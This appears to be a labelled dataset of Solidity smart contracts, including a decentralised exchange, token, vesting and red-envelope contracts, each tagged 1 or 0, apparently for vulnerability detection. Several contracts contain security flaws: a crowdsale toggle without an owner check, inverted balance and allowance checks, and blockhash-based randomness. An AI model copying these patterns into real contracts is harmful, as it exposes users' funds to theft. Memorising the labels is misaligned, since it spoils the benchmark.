uint256 _takerSellAmount,
uint8 _v,
bytes32 _r,
bytes32 _s
)
external
{
require(
_orderAddresses[2] == discountTokenAddress,
"Should buy WeiDex Tokens"
);
uint256 receivedAmount = takeOrder(OrderLib.createOrder(_orderAddresses, _orderValues), _takerSellAmount, _v, _r, _s);
require(0 < receivedAmount, "Trade failure");
updateVolume(receivedAmount);
updateTokenRatio(_orderValues[0], _orderValues[1]);
}
}
contract ReferralExchange is Exchange {
uint256 public referralFeeRate;
mapping(address => address) public referrals;
constructor(
uint256 _referralFeeRate
)
public
{
referralFeeRate = _referralFeeRate;
}
event ReferralBalanceUpdated(
address refererAddress,
address referralAddress,
address tokenAddress,
uint256 feeAmount,
uint256 referralFeeAmount
);
event ReferralDeposit(
address token,
address indexed user,
address indexed referrer,
uint256 amount,
uint256 balance
);
function depositEthers(address _referrer)
external
payable
{
address user = msg.sender;
require(
0x0 == referrals[user],
"This user already have a referrer."
);
super._depositEthers(user);
referrals[user] = _referrer;
emit ReferralDeposit(ETH, user, _referrer, msg.value, balances[ETH][user]);
}
function depositTokens(
address _tokenAddress,
uint256 _amount,
address _referrer
)
external
{
address user = msg.sender;
require(
0x0 == referrals[user],
"This user already have a referrer."
);
super._depositTokens(_tokenAddress, _amount, user);
referrals[user] = _referrer;
emit ReferralDeposit(_tokenAddress, user, _referrer, _amount, balances[_tokenAddress][user]);
}
function setReferralFee(uint256 _referralFeeRate)
external
onlyOwner
{
referralFeeRate = _referralFeeRate;
}
function getReferrer(address _user)
internal
view
returns(address referrer)
{
return referrals[_user] != address(0x0) ? referrals[_user] : feeAccount;
}
}
contract UpgradableExchange is Exchange {
uint8 constant public VERSION = 0;
address public newExchangeAddress;
bool public isMigrationAllowed;
event FundsMigrated(address indexed user, address indexed exchangeAddress);
function setNewExchangeAddress(address _newExchangeAddress)
external
onlyOwner
{
newExchangeAddress = _newExchangeAddress;
}
function allowOrRestrictMigrations()
external
onlyOwner
{
isMigrationAllowed = !isMigrationAllowed;
}
function migrateFunds(address[] _tokens) external {
require(
false != isMigrationAllowed,
"Fund migration is not allowed"
);
require(
IUpgradableExchange(newExchangeAddress).VERSION() > VERSION,
"New exchange version should be greater than the current version."
);
migrateEthers();
migrateTokens(_tokens);
emit FundsMigrated(msg.sender, newExchangeAddress);
}
function migrateEthers() private {
uint256 etherAmount = balances[ETH][msg.sender];
if (etherAmount > 0) {
balances[ETH][msg.sender] = 0;
IUpgradableExchange(newExchangeAddress).importEthers.value(etherAmount)(msg.sender);
}
}
function migrateTokens(address[] _tokens) private {
for (uint256 index = 0; index < _tokens.length; index++) {
address tokenAddress = _tokens[index];
uint256 tokenAmount = balances[tokenAddress][msg.sender];
if (0 == tokenAmount) {
continue;
}
require(
Token(tokenAddress).approve(newExchangeAddress, tokenAmount),
"Approve failed"
);
balances[tokenAddress][msg.sender] = 0;
IUpgradableExchange(newExchangeAddress).importTokens(tokenAddress, tokenAmount, msg.sender);
}
}
}
contract ExchangeOffering is Exchange {
using CrowdsaleLib for CrowdsaleLib.Crowdsale;
mapping(address => CrowdsaleLib.Crowdsale) public crowdsales;
mapping(address => mapping(address => uint256)) public userContributionForProject;
event TokenPurchase(
address indexed project,
address indexed contributor,
uint256 tokens,
uint256 weiAmount
);
function registerCrowdsale(
address _project,
address _projectWallet,
uint256[8] _values
)
public
onlyOwner
{
crowdsales[_project] = CrowdsaleLib.createCrowdsale(_projectWallet, _values);
require(
crowdsales[_project].isValid(),
"Crowdsale is not active."
);
require(
getBonusFactor(_project, crowdsales[_project].minContribution) >= 0,
"The project should have *getBonusFactor* function implemented. The function should return the bonus percentage depending on the start/end date and contribution amount. Should return 0 if there is no bonus."
);
require(
isUserWhitelisted(_project, this),
"The project should have *isUserWhitelisted* function implemented. This contract address should be whitelisted"
);
}
function buyTokens(address _project)
public
payable
{
uint256 weiAmount = msg.value;
address contributor = msg.sender;
address crowdsaleWallet = crowdsales[_project].wallet;
require(
isUserWhitelisted(_project, contributor), "User is not whitelisted"
);
require(
validContribution(_project, contributor, weiAmount),
"Contribution is not valid: Check minimum/maximum contribution amount or if crowdsale cap is reached"
);
uint256 tokens = weiAmount.mul(crowdsales[_project].tokenRatio);
uint256 bonus = getBonusFactor(_project, weiAmount);
uint256 bonusAmount = tokens.mul(bonus).div(100);
uint256 totalPurchasedTokens = tokens.add(bonusAmount);
crowdsales[_project].leftAmount = crowdsales[_project].leftAmount.sub(totalPurchasedTokens);
require(Token(_project).transfer(contributor, totalPurchasedTokens), "Transfer failed");
crowdsales[_project].weiRaised = crowdsales[_project].weiRaised.add(weiAmount);
userContributionForProject[_project][contributor] = userContributionForProject[_project][contributor].add(weiAmount);
balances[ETH][crowdsaleWallet] = balances[ETH][crowdsaleWallet].add(weiAmount);
emit TokenPurchase(_project, contributor, totalPurchasedTokens, weiAmount);
}
function withdrawWhenFinished(address _project) public {
address crowdsaleWallet = crowdsales[_project].wallet;
require(
msg.sender == crowdsaleWallet,
"Only crowdsale owner can withdraw funds that are left."
);
require(
!crowdsales[_project].isOpened(),
"You can't withdraw funds yet. Crowdsale should end first."
);
uint256 leftAmount = crowdsales[_project].leftAmount;
crowdsales[_project].leftAmount = 0;
require(Token(_project).transfer(crowdsaleWallet, leftAmount), "Transfer failed");
}
function saleOpen(address _project)
public
view
returns(bool)
{
return crowdsales[_project].isOpened();
}
function getBonusFactor(address _project, uint256 _weiAmount)
public
view
returns(uint256)
{
return Token(_project).getBonusFactor(crowdsales[_project].startTime, crowdsales[_project].endTime, _weiAmount);
}
function isUserWhitelisted(address _project, address _user)
public
view
returns(bool)
{
return Token(_project).isUserWhitelisted(_user);
}
function validContribution(
address _project,
address _user,
uint256 _weiAmount
)
private
view
returns(bool)
{
if (saleOpen(_project)) {
if (_weiAmount < crowdsales[_project].minContribution) {
return false;
}
if (userContributionForProject[_project][_user].add(_weiAmount) > crowdsales[_project].maxContribution) {
return false;
}
if (crowdsales[_project].capacity < crowdsales[_project].weiRaised.add(_weiAmount)) {
return false;
}
} else {
return false;
}
return msg.value != 0;
}
}
contract OldERC20ExchangeSupport is Exchange, ReferralExchange {
function depositOldTokens(
address _tokenAddress,
uint256 _amount
)
external
{
address user = msg.sender;
_depositOldTokens(_tokenAddress, _amount, user);
emit Deposit(_tokenAddress, user, _amount, balances[_tokenAddress][user]);
}
function depositOldTokens(
address _tokenAddress,
uint256 _amount,
address _referrer
)
external
{
address user = msg.sender;
require(
0x0 == referrals[user],
"This user already have a referrer."
);
_depositOldTokens(_tokenAddress, _amount, user);
referrals[user] = _referrer;
emit ReferralDeposit(_tokenAddress, user, _referrer, _amount, balances[_tokenAddress][user]);
}
function depositOldTokensFor(
address _tokenAddress,
uint256 _amount,
address _beneficiary
)
external
{
_depositOldTokens(_tokenAddress, _amount, _beneficiary);
emit Deposit(_tokenAddress, _beneficiary, _amount, balances[_tokenAddress][_beneficiary]);
}
function withdrawOldTokens(
address _tokenAddress,
uint256 _amount
)
external
{
address user = msg.sender;
require(
balances[_tokenAddress][user] >= _amount,
"Not enough funds to withdraw."
);
balances[_tokenAddress][user] = balances[_tokenAddress][user].sub(_amount);
SafeOldERC20.transfer(_tokenAddress, user, _amount);
emit Withdraw(_tokenAddress, user, _amount, balances[_tokenAddress][user]);
}
function _depositOldTokens(
address _tokenAddress,
uint256 _amount,
address _beneficiary
)
internal
{
balances[_tokenAddress][_beneficiary] = balances[_tokenAddress][_beneficiary].add(_amount);
SafeOldERC20.transferFrom(_tokenAddress, msg.sender, this, _amount);
}
}
contract WeiDex is DiscountTokenExchange, ReferralExchange, UpgradableExchange, ExchangeOffering, OldERC20ExchangeSupport {
mapping(bytes4 => bool) private allowedMethods;
function () public payable {
revert("Cannot send Ethers to the contract, use depositEthers");
}
constructor(
address _feeAccount,
uint256 _feeRate,
uint256 _referralFeeRate,
address _discountTokenAddress,
uint256 _discountTokenRatio
)
public
Exchange(_feeAccount, _feeRate)
ReferralExchange(_referralFeeRate)
DiscountTokenExchange(_discountTokenAddress, _discountTokenRatio)
{
}
function allowOrRestrictMethod(
bytes4 _methodId,
bool _allowed
)
external
onlyOwner
{
allowedMethods[_methodId] = _allowed;
}
function takeAllOrRevert(
address[3][] _orderAddresses,
uint256[3][] _orderValues,
uint256[] _takerSellAmount,
uint8[] _v,
bytes32[] _r,
bytes32[] _s,
bytes4 _methodId
)
external
{
require(
allowedMethods[_methodId],
"Can't call this method"
);
for (uint256 index = 0; index < _orderAddresses.length; index++) {
require(
address(this).delegatecall(
_methodId,
_orderAddresses[index],
_orderValues[index],
_takerSellAmount[index],
_v[index],
_r[index],
_s[index]
),
"Method call failed"
);
}
}
function takeAllPossible(
address[3][] _orderAddresses,
uint256[3][] _orderValues,
uint256[] _takerSellAmount,
uint8[] _v,
bytes32[] _r,
bytes32[] _s,
bytes4 _methodId
)
external
{
require(
allowedMethods[_methodId],
"Can't call this method"
);
for (uint256 index = 0; index < _orderAddresses.length; index++) {
address(this).delegatecall(
_methodId,
_orderAddresses[index],
_orderValues[index],
_takerSellAmount[index],
_v[index],
_r[index],
_s[index]
);
}
}
function takeBuyOrder(
address[3] _orderAddresses,
uint256[3] _orderValues,
uint256 _takerSellAmount,
uint8 _v,
bytes32 _r,
bytes32 _s
)
external
{
require(
_orderAddresses[1] == ETH,
"Base currency must be ether's (0x0)"
);
OrderLib.Order memory order = OrderLib.createOrder(_orderAddresses, _orderValues);
uint256 receivedAmount = takeOrder(order, _takerSellAmount, _v, _r, _s);
require(0 < receivedAmount, "Trade failure");
updateVolume(receivedAmount);
if (!isVolumeReached()) {
takeFee(order.maker, msg.sender, order.makerBuyToken, _takerSellAmount, receivedAmount);
}
}
function takeSellOrder(
address[3] _orderAddresses,
uint256[3] _orderValues,
uint256 _takerSellAmount,
uint8 _v,
bytes32 _r,
bytes32 _s
)
public
{
require(
_orderAddresses[2] == ETH,
"Base currency must be ether's (0x0)"
);
OrderLib.Order memory order = OrderLib.createOrder(_orderAddresses, _orderValues);
uint256 receivedAmount = takeOrder(order, _takerSellAmount, _v, _r, _s);
require(0 < receivedAmount, "Trade failure");
updateVolume(_takerSellAmount);
if (!isVolumeReached()) {
takeFee(order.maker, msg.sender, order.makerSellToken, receivedAmount, _takerSellAmount);
}
}
function takeFee(
address _maker,
address _taker,
address _tokenAddress,
uint256 _tokenFulfilledAmount,
uint256 _etherFulfilledAmount
)
private
{
uint256 _feeRate = feeRate;
uint256 feeInWdx = _etherFulfilledAmount.calculateWdxFee(discountTokenRatio, feeRate);
takeFee(_maker, ETH, _etherFulfilledAmount.div(_feeRate), feeInWdx);
takeFee(_taker, _tokenAddress, _tokenFulfilledAmount.div(_feeRate), feeInWdx);
}
function takeFee(
address _user,
address _tokenAddress,
uint256 _tokenFeeAmount,
uint256 _wdxFeeAmount
)
private
{
if(balances[discountTokenAddress][_user] >= _wdxFeeAmount) {
takeFee(_user, discountTokenAddress, _wdxFeeAmount);
} else {
takeFee(_user, _tokenAddress, _tokenFeeAmount);
}
}
function takeFee(
address _user,
address _tokenAddress,
uint256 _fullFee
)
private
{
address _feeAccount = feeAccount;
address referrer = getReferrer(_user);
uint256 referralFee = _fullFee.calculateReferralFee(referralFeeRate);
balances[_tokenAddress][_user] = balances[_tokenAddress][_user].sub(_fullFee);
if(referrer == _feeAccount) {
balances[_tokenAddress][_feeAccount] = balances[_tokenAddress][_feeAccount].add(_fullFee);
} else {
balances[_tokenAddress][_feeAccount] = balances[_tokenAddress][_feeAccount].add(_fullFee.sub(referralFee));
balances[_tokenAddress][referrer] = balances[_tokenAddress][referrer].add(referralFee);
}
emit ReferralBalanceUpdated(referrer, _user, _tokenAddress, _fullFee, referralFee);
}
} | 1 |
pragma solidity ^0.4.18;
contract Owned {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owned ()public {
owner = msg.sender;
}
function changeOwner(address _newOwner) onlyOwner public{
owner = _newOwner;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData)public;
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner)public constant returns (uint256 balance);
function transfer(address _to, uint256 _value)public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)public returns (bool success);
function approve(address _spender, uint256 _value)public returns (bool success);
function allowance(address _owner, address _spender)public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract UTokenContract is ERC20Token, Owned{
string public constant standard = "U Token V1.0";
string public constant name = "U Token";
string public constant symbol = "UT";
uint256 public constant decimals = 6;
uint256 private constant etherChange = 10**18;
uint256 public totalSupply;
uint256 public totalRemainSupply;
uint256 public UTExchangeRate;
bool public crowdsaleIsOpen;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
address public multisigAddress;
event mintToken(address indexed _to, uint256 _value);
event burnToken(address indexed _from, uint256 _value);
function () payable public{
require (crowdsaleIsOpen == true);
require(msg.value != 0);
mintUTToken(msg.sender, (msg.value * UTExchangeRate * 10**decimals) / etherChange);
}
function UTokenContract(uint256 _totalSupply, uint256 __UTExchangeRate)public {
owner = msg.sender;
totalSupply = _totalSupply * 10**decimals;
UTExchangeRate = __UTExchangeRate;
totalRemainSupply = totalSupply;
crowdsaleIsOpen = true;
}
function setUTExchangeRate(uint256 _UTExchangeRate) onlyOwner public{
UTExchangeRate = _UTExchangeRate;
}
function crowdsaleOpen(bool _crowdsaleIsOpen)public {
crowdsaleIsOpen = _crowdsaleIsOpen;
}
function UTTotalSupply()public constant returns (uint256) {
return totalSupply - totalRemainSupply;
}
function balanceOf(address _owner)public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value)public returns (bool success) {
require (balances[msg.sender] > _value);
require (balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)public returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)public returns (bool success) {
require (balances[_from] > _value);
require (balances[_to] + _value > balances[_to]);
require (_value > allowances[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender)public constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function withdraw(address _multisigAddress)public onlyOwner {
require(_multisigAddress != 0x0);
multisigAddress = _multisigAddress;
multisigAddress.transfer(this.balance);
}
function mintUTToken(address _to, uint256 _amount) internal {
require (balances[_to] + _amount > balances[_to]);
require (totalRemainSupply > _amount);
totalRemainSupply -= _amount;
balances[_to] += _amount;
mintToken(_to, _amount);
Transfer(0x0, _to, _amount);
}
function mintTokens(address _sendTo, uint256 _sendAmount)public onlyOwner {
mintUTToken(_sendTo, _sendAmount);
}
function burnTokens(address _addr, uint256 _amount)public onlyOwner {
require (balances[msg.sender] < _amount);
totalRemainSupply += _amount;
balances[_addr] -= _amount;
burnToken(_addr, _amount);
Transfer(_addr, 0x0, _amount);
}
} | 1 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LockedSecretChallenge is Ownable {
using SafeMath for uint256;
Peculium public pecul;
uint256 decimals;
bool public initPecul;
event InitializedToken(address contractToken);
uint256 startdate;
uint256 degeldate;
address[10] challengeAddress;
uint256[10] challengeAmount;
bool public initChallenge;
event InitializedChallengeAddress(address[10] challengeA, uint256[10] challengeT);
constructor() {
startdate = now;
degeldate = 1551890520;
}
function InitPeculiumAdress(address peculAdress) public onlyOwner
{
pecul = Peculium(peculAdress);
decimals = pecul.decimals();
initPecul = true;
emit InitializedToken(peculAdress);
}
function InitChallengeAddress(address[10] addressC, uint256[10] amountC) public onlyOwner Initialize {
for(uint256 i=0; i<addressC.length;i++){
challengeAddress[i] = addressC[i];
challengeAmount[i] = amountC[i];
}
emit InitializedChallengeAddress(challengeAddress,challengeAmount);
}
function transferFinal() public onlyOwner Initialize InitializeChallengeAddress
{
require(now >= degeldate);
require ( challengeAddress.length == challengeAmount.length );
for(uint256 i=0; i<challengeAddress.length;i++){
require(challengeAddress[i]!=0x0);
}
uint256 amountToSendTotal = 0;
for (uint256 indexTest=0; indexTest<challengeAmount.length; indexTest++)
{
amountToSendTotal = amountToSendTotal + challengeAmount[indexTest];
}
require(amountToSendTotal*10**decimals<=pecul.balanceOf(this));
for (uint256 index=0; index<challengeAddress.length; index++)
{
address toAddress = challengeAddress[index];
uint256 amountTo_Send = challengeAmount[index]*10**decimals;
pecul.transfer(toAddress,amountTo_Send);
}
}
function emergency() public onlyOwner
{
pecul.transfer(owner,pecul.balanceOf(this));
}
modifier InitializeChallengeAddress {
require (initChallenge==true);
_;
}
modifier Initialize {
require (initPecul==true);
_;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable {
PeculiumOld public peculOld;
address public peculOldAdress = 0x53148Bb4551707edF51a1e8d7A93698d18931225;
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
mapping(address => bool) public balancesCannotSell;
event ChangedTokens(address changedTarget,uint256 amountToChanged);
event FrozenFunds(address address_target, bool bool_canSell);
function Peculium() public {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[address(this)] = totalSupply;
peculOld = PeculiumOld(peculOldAdress);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCannotSell[msg.sender]==false);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCannotSell[msg.sender]==false);
return StandardToken.transferFrom(_from,_to,_value);
}
function ChangeLicense(address target, bool canSell) public onlyOwner
{
balancesCannotSell[target] = canSell;
FrozenFunds(target, canSell);
}
function UpgradeTokens() public
{
require(peculOld.totalSupply()>0);
uint256 amountChanged = peculOld.allowance(msg.sender,address(this));
require(amountChanged>0);
peculOld.transferFrom(msg.sender,address(this),amountChanged);
peculOld.burn(amountChanged);
balances[address(this)] = balances[address(this)].sub(amountChanged);
balances[msg.sender] = balances[msg.sender].add(amountChanged);
Transfer(address(this), msg.sender, amountChanged);
ChangedTokens(msg.sender,amountChanged);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() public constant returns (uint256)
{
return now;
}
function getOwnerInfos() public constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
}
contract PeculiumOld is BurnableToken,Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
uint256 public dateStartContract;
mapping(address => bool) public balancesCanSell;
uint256 public dateDefrost;
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
function PeculiumOld() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply;
balancesCanSell[owner] = true;
dateStartContract=now;
dateDefrost = dateStartContract + 85 days;
}
function defrostToken() public
{
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
} | 0 |
pragma solidity ^0.5.2;
contract ERC20TokenInterface {
function totalSupply () external view returns (uint);
function balanceOf (address tokenOwner) external view returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
contract CliffTokenVesting {
using SafeMath for uint256;
event Released(address beneficiary, uint256 amount);
struct Beneficiary {
uint256 start;
uint256 duration;
uint256 cliff;
uint256 totalAmount;
uint256 releasedAmount;
}
mapping (address => Beneficiary) public beneficiary;
ERC20TokenInterface public token;
uint256 public nonce = 479293;
modifier isVestedAccount (address account) { require(beneficiary[account].start != 0); _; }
constructor (ERC20TokenInterface tokenAddress) public {
require(tokenAddress != ERC20TokenInterface(0x0));
token = tokenAddress;
}
function releasableAmount (address account) public view returns (uint256) {
return vestedAmount(account).sub(beneficiary[account].releasedAmount);
}
function release (address account) public isVestedAccount(account) {
uint256 unreleased = releasableAmount(account);
require(unreleased > 0);
beneficiary[account].releasedAmount = beneficiary[account].releasedAmount.add(unreleased);
token.transfer(account, unreleased);
emit Released(account, unreleased);
if (beneficiary[account].releasedAmount == beneficiary[account].totalAmount) {
delete beneficiary[account];
}
}
function addBeneficiary (
address account,
uint256 start,
uint256 duration,
uint256 cliff,
uint256 amount
) public {
require(amount != 0 && start != 0 && account != address(0x0) && cliff < duration && beneficiary[account].start == 0);
require(token.transferFrom(msg.sender, address(this), amount));
beneficiary[account] = Beneficiary({
start: start,
duration: duration,
cliff: start.add(cliff),
totalAmount: amount,
releasedAmount: 0
});
}
function vestedAmount (address account) private view returns (uint256) {
if (block.timestamp < beneficiary[account].cliff) {
return 0;
} else if (block.timestamp >= beneficiary[account].start.add(beneficiary[account].duration)) {
return beneficiary[account].totalAmount;
} else {
return beneficiary[account].totalAmount.mul(
block.timestamp.sub(beneficiary[account].start)
).div(beneficiary[account].duration);
}
}
} | 1 |
pragma solidity ^0.4.18;
contract RedEnvelope {
struct EnvelopeType {
uint256 maxNumber;
uint256 feeRate;
}
struct Envelope {
address maker;
address arbiter;
uint256 envelopeTypeId;
uint256 minValue;
uint256 remainingValue;
uint256 remainingNumber;
uint256 willExpireAfter;
bool random;
mapping(address => bool) tooks;
}
struct Settings {
address arbiter;
uint256 minValue;
}
event Made (
address indexed maker,
address indexed arbiter,
uint256 indexed envelopeId,
uint256 envelopeTypeId,
uint256 minValue,
uint256 total,
uint256 quantity,
uint256 willExpireAfter,
uint256 minedAt,
uint256 random
);
event Took (
address indexed taker,
uint256 indexed envelopeId,
uint256 value,
uint256 minedAt
);
event Redeemed(
address indexed maker,
uint256 indexed envelopeId,
uint256 value,
uint256 minedAt
);
Settings public settings;
address public owner;
uint256 public balanceOfEnvelopes;
mapping (address => uint256) public envelopeCounts;
mapping (uint256 => EnvelopeType) public envelopeTypes;
mapping (uint256 => Envelope) public envelopes;
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function random() view private returns (uint256) {
uint256 factor = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
bytes32 blockHash = block.blockhash(block.number - 1);
return uint256(uint256(blockHash) / factor);
}
function RedEnvelope() public {
settings = Settings(
msg.sender,
2000000000000000
);
owner = msg.sender;
}
function setSettings(address _arbiter, uint256 _minValue) onlyOwner public {
settings.arbiter = _arbiter;
settings.minValue = _minValue;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
function () payable public {}
function setEnvelopeType(uint256 _envelopeTypeId, uint256[2] _data) onlyOwner public {
envelopeTypes[_envelopeTypeId].maxNumber = _data[0];
envelopeTypes[_envelopeTypeId].feeRate = _data[1];
}
function make(uint256 _envelopeId, uint256[4] _data) payable external {
uint256 count = envelopeCounts[msg.sender] + 1;
if (uint256(keccak256(msg.sender, count)) != _envelopeId) {
revert();
}
EnvelopeType memory envelopeType = envelopeTypes[_data[0]];
if (envelopeType.maxNumber < _data[1]) {
revert();
}
uint256 total = ( msg.value * 1000 ) / ( envelopeType.feeRate + 1000 );
if (total / _data[1] < settings.minValue) {
revert();
}
Envelope memory envelope = Envelope(
msg.sender,
settings.arbiter,
_data[0],
settings.minValue,
total,
_data[1],
block.timestamp + _data[2],
_data[3] > 0
);
envelopes[_envelopeId] = envelope;
balanceOfEnvelopes += total;
envelopeCounts[msg.sender] = count;
Made(
envelope.maker,
envelope.arbiter,
_envelopeId,
envelope.envelopeTypeId,
envelope.minValue,
envelope.remainingValue,
envelope.remainingNumber,
envelope.willExpireAfter,
block.timestamp,
envelope.random ? 1 : 0
);
}
function take(uint256 _envelopeId, uint256[4] _data) external {
Envelope storage envelope = envelopes[_envelopeId];
if (envelope.willExpireAfter < block.timestamp) {
revert();
}
if (envelope.remainingNumber == 0) {
revert();
}
if (envelope.tooks[msg.sender]) {
revert();
}
if (_data[0] < block.timestamp) {
revert();
}
if (envelope.arbiter != ecrecover(keccak256(_envelopeId, _data[0], msg.sender), uint8(_data[1]), bytes32(_data[2]), bytes32(_data[3]))) {
revert();
}
uint256 value = 0;
if (!envelope.random) {
value = envelope.remainingValue / envelope.remainingNumber;
} else {
if (envelope.remainingNumber == 1) {
value = envelope.remainingValue;
} else {
uint256 maxValue = envelope.remainingValue - (envelope.remainingNumber - 1) * envelope.minValue;
uint256 avgValue = envelope.remainingValue / envelope.remainingNumber * 2;
value = avgValue < maxValue ? avgValue * random() / 100 : maxValue * random() / 100;
value = value < envelope.minValue ? envelope.minValue : value;
}
}
envelope.remainingValue -= value;
